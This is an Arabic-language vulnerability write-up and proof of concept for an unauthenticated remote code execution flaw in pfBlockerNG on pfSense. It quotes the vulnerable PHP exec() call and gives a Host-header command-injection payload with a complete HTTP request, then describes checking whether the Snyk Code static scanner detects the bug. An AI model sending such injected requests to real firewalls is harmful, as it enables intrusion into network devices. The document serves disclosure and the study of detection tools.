
إثبات مفهوم لاستغلال تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في pfBlockerNg عبر إدخال غير مُنقّى في دالة استعلام DNSBL TLD، مع تحليل اكتشاف SAST.
pfBlockerNG هو الجيل التالي من pfBlocker ويتميز بالخصائص التالية:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
تنفيذ أكواد عشوائي عن بُعد بدون مصادقة (RCE)
يتضمن استعلام قسم حظر TLD في index.php إدخال مستخدم غير منقّى/غير مهرَّب d_query من مصدر رأس المضيف (Host) إلى مغرق دالة PHP exec.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
يتطلب الوصول عبر HTTP إلى وحدة تحكم pfSense على الويب
حمولة نموذجية: ' *; sleep 5; '
طلب إثبات المفهوم:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
أنا أحب pfBlockerNg وقد استوحيت ذلك من ثغرة CVE-2022-31814 الأخيرة التي اكتشفها Di r00t ومن الشرح الرائع https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ وكنت فضولياً لمعرفة ما إذا كانت أداة اختبار أمان التطبيقات الثابتة (SAST) من Snyk ستكتشف الثغرة. لذا قمت بتنزيل ملف الإصدار 2.1.4_26 المعني من index.php وشغّلت Snyk Code عليه. وبالفعل اكتشفت Snyk الثغرة بالإضافة إلى ثغرة أخرى مماثلة بعد بضعة أسطر فقط.